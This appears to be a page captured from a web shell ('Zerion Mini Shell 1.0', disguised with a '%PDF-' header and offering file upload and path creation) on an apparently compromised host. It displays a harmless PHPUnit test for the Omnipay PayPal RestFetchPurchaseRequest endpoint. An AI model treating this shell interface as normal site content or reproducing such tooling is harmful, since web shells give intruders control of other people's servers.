%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/graphicd/www/vebto/vendor/omnipay/paypal/tests/Message/
Upload File :
Create Path :
Current File : /home/graphicd/www/vebto/vendor/omnipay/paypal/tests/Message/RestFetchPurchaseRequestTest.php

<?php

namespace Omnipay\PayPal\Message;

use Omnipay\Tests\TestCase;

class RestFetchPurchaseRequestTest extends TestCase
{
    /** @var \Omnipay\PayPal\Message\RestFetchPurchaseRequest */
    private $request;

    public function setUp()
    {
        $client = $this->getHttpClient();
        $request = $this->getHttpRequest();
        $this->request = new RestFetchPurchaseRequest($client, $request);
    }

    public function testEndpoint()
    {
        $this->request->setTransactionReference('ABC-123');
        $this->assertStringEndsWith('/payments/payment/ABC-123', $this->request->getEndpoint());
    }
}

Zerion Mini Shell 1.0